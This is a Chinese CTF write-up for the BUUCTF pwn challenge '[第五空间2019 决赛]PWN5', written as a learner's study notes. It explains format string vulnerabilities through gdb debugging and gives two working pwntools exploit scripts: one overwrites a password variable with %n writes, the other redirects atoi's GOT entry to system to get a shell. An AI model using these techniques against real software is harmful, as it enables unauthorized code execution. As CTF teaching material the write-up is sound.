声明:本文用途为供自己学习
参考文章一:CSDN-云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
参考文章二:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
参考文章四:知乎-看雪(作者)-PWN入门-格式化字符串漏洞
参考文章五:简书-杰森任(作者)-PWN格式化字符串漏洞1(基础知识)
参考文章七:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
目录
一、思路
参考文章:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法(参考部分:题目分析)
(一)格式化字符串漏洞
参考文章:CSDN-lifanxin-CTF(作者)-pwn题之格式化字符串漏洞详解(参考部分:概念)
格式化字符串漏洞的成因在于像
printf/sprintf/snprintf
等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:
printf("%s", pad)
,偷懒写成了:
printf(pad)
,此时就存在格式化字符串漏洞
(二)方法一:篡改随机数(密码)
如图可知main函数的功能是从
/dev/urandom
文件读取一个随机数,比对输入的
passwd
是否与该随机数一致,一致则
getshell
,而
printf
函数没有设定格式化参数,与输入的
passwd
比较的数字的地址也可以看到是
0x804C044
,因此可以利用格式化字符串漏洞,在第一次输入
name
的时候修改
0x804C044
的内容,第二次输入
passwd
时输入改内容(字符串格式,用
str
函数,其参数为16进制数字)
(三)方法二:篡改atoi地址为system地址并传入参数
"/bin/sh"
第一次输入通过格式化字符串漏洞篡改
atoi
函数
got
地址为
system
函数的真实地址,第二次输入
passwd
为字符串
"/bin/sh"
二、攻击过程
(一)方法一
根据上述内容,有
Canary
保护、有未给出格式化参数的错误使用的
printf
和地址已知的
if
语句中的变量,而且第一次
read
的数据长度为0x63个byte,因此用第一次输入构造
payload
,使得可以向
0x804C044
这个地址中任意写入。
以下是个人对于格式化字符串漏洞的相关深入探究:
1.审计代码(反汇编代码)和调试程序
(1)第一步
工具:
pwngdb
,IDApro32;
调试参数:
b *0x80492BB
(相关地址均通过IDA得到)、
r
、
AAAA-%p-%p-%p
、
stack 20
、(此时显示为第一张图片)
ni
、
stack 20
(第二张图片);*
(以下内容过于基础)此时,
eip
指向
0x80492bb
,说明此时下一条执行的指令为
push eax
,所以当前执行的指令是
lea eax,[ebp - 0x70]
。
接着执行上述
0x80492BB
处的
push eax
(
eax
存放的为下一条l指令:
call printf@plt
的参数,即刚刚的输入的
AAAA-%p-%p-%p
起始位置所在的地址被压入栈中)
(2)第二步 深入探究
刚刚提到经过
push eax
后,输入的字符串的输入的
AAAA-%p-%p-%p
起始位置所在的地址被压倒了栈中,而
AAAA-%p-%p-%p
内容本身放在哪里?
在pwngdb中继续进行调试,调试参数:
d
、
b *0x804929B
、
r
、
AAAA-%p-%p-%p
。*
通过IDA的伪代码可以看到,键盘输入的内容被放入
buf
中,而
buf
的起始位置通过
ebp
信息(
0xffffd0a8
下图第一处划线处)和其与
ebp
的偏移量(
0x70
)可以算出来(上图第一处画线位置),就是
0x804929B
(也可以直接通过下图中第三处划线位置
buf
:
0xffffd038
看出来)
(3)第三步
再次回到第一步的第二张图,
此时输入调试命令:
print /x *0xffffd038
(以16进制格式打印栈空间上
0xffffd038
地址处的内容)*,结果如下
现在退出
pwngdb
,运行该程序,输入参数
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
,结果如下图:
2.理论分析
如果对格式化字符串漏洞理解起来困难,建议看下这篇博客
第一个
%p
打印的是从
printf
参数的起始位置(本题中为
0xffffd010
,该位置偏移量为0)的下一个位置开始(偏移量为1)的内容,所以第一个%p的输出内容为
0xffffd014
的内容,依此类推。而
buf
的起始地址为
0xffffd038
,
printf
参数的地址为
0xffffd010
,所以其二者间的偏移量为10(0x28byte,每个偏移量占4byte,16进制)。在上图输出结果可以看到以
AAAA
为偏移量0开始算起,第十个偏移量的位置正是
0x41414141
(AAAA的16进制格式)。其他格式化字符串原理类似
%p
,例如
%10$n
,就是把当前格式化参数(
%10$n
)之前字符数(char类型)的数值大小,赋值给从
printf
的参数所在栈的位置的起始位置(偏移量为0)开始算起,第10个偏移量的栈空间的位置中的内容作为地址,把该地址对应的内容(只修改一个字(2个byte),改变修改的字节量可以改用
%10$hn
等(大概吧)),修改为前面说的“字符串数的数值大小”。
上段内容最后一句话参考文章:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理如下内容
%hhn 写一字节
%hn 写两字节
%n 写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节
(ps:关于
"-"
的输出问题(我自己在做题时的困惑),为什么
"-"
不影响输出结果如
"0x41414141"
的相对位置,因为,
%p
打印的是从
printf
参数的起始位置(本题中为
0xffffd010
,该位置偏移量为0)的下一个位置开始(偏移量为1),第一个
%p
的输出内容为
0xffffd014
的内容,此时还没有开始输出到存储字符串本身内容的位置,而
printf
在输出打印内容时是按顺序打印结果,例如先输出
AAAA
,在输出
"-"
,遇到
%p
了,输出其对应偏移量(相对于
printf
参数)位置的内容,而
"-"
对应的16进制数就是
2d
,所以会看到从第十一个参数开始出现
2d
)
(二)方法二
修改exp.py的内容:
from pwn import*#context.log_level = "DEBUG"
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']print("atoi_got:",hex(atoi_got))print("system_sym:",hex(system_sym))
结果如下图:
发现如果用方法一精心地构造
payload
,会非常困难比如把
atoi_got
中的最后一字节0x34改成目的数值(0x80)相当困难,因为buf可写入长度仅为0x70个字节,当然也可以进一步想办法解决该问题,但是本文在此处决定使用
pwntools
自带的
fmtstr_payload
函数,以期同时掌握更多工具使用方法。构造的
payload
如下
payload=fmtstr_payload(10,{atoi_got:system_sym})
第一个参数为第二个参数第一部分(即
atoi_got
)到
printf
的参数的偏移量,第二个参数的第一部分为要篡改的地址,第二个部分为要篡改之后的值。
(这里有个很奇怪的地方,就是当将
elf.sym['system']
改为
elf.plt['system']
时,仍然可以攻击成功,改成
elf.got['system']
后,攻击失败,这里我不太理解,应该是对plt、got的理解不够,之后尽快补上)
(三)其他:pwngdb中fmtarg和pwntools中FmtStr类
1.
pwngdb
中
fmtarg
参见参考文章四。
fmtarg
使用及
pwngdb
、
pwndbg
的配置参见下面链接的文章。(如果输入
fmtarg
报错说没有该命令,则需要按下面文章进行配置)
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
2.
pwntools
中
FmtStr
类
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
defexec_fmt(pad):
p = process("./pwn")# send 还是 sendline以程序为准
p.send(pad)return p.recv()
fmt = FmtStr(exec_fmt)print("offset ===> ", fmt.offset)
输出结果如下。
这里有我不理解的两个点,一个是
fmt = FmtStr(exec_fmt)
这里,没有给
exec_fmt
传入任何参数(应该是py基础不好),另一个是还是没有理解
FmtStr
类的细节,这个需要继续学习。
三、攻击脚本
方法一
payload1参考博文:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
payload2参考博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
from pwn import*#context.log_level = "DEBUG"
ifRemote =1if ifRemote:
io = remote("node4.buuoj.cn",29457)else:
io = process("./pwn1")
passwd =0x804C044
payload1 = p32(passwd)+ p32(passwd+1)+ p32(passwd+2)+ p32(passwd+3)+b"%10$n%11$n%12$n%13$n"#payload2=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#(在此处这个形式的payload就是)就是想说明%16$n这样的格式化参数也要算做一个偏移量,64位由于0截断的原因,需要采取第二种payload的格式
io.sendline(payload1)
io.sendline(str(0x10101010))
io.interactive()
方法二
from pwn import*#context.log_level = "DEBUG"
ifRemote =1if ifRemote:
io = remote("node4.buuoj.cn",25450)else:
io = process("./pwn")
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']print("atoi_got:",hex(atoi_got))print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
四、遇到的问题
(一)懒得尝试,希望于“吃别人做好的饭”
一开始对payload的构造不能理解,网上的博文大多讲的不清楚,或者说不对我的“胃口”,感觉自己关注的地方,网上的博文并没能为我解答,只有自己调试了。
比如网上有些地方讲的%p的偏移量是对于esp来讲的,哪一步的esp?有些博文并没有说。
拿博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1举个例子,博文中说到:
“在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。”
和
"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;
,为什么用“试探”这个词,到底为什么在这样一个位置?写入栈里的第几个位置,可是栈不是在增长或减少吗?这个位置是固定的吗?相对于谁呢?在什么时候的相对位置呢?也许是博主已经对这种基本知识的掌握很扎实,并未深入讲解,然而我不能理解,于是本篇文章重点对我不理解的地方做了调试与深入探究。
(二)还是没有理解
FmtStr
类的细节。
(三)对
plt
,
got
表的相关内容理解不深,浮于表面。
五、总结反思
这次做题沉下心了仔细审题代码并且不懂的地方一步一步调试,采取一种绝不向不会的地方妥协的策略,发现很多问题都不是很难解决。而且还是要对不懂得知识做深入的研究,本文待进一步修改。
版权归原作者 irontys 所有, 如有侵权,请联系我们删除。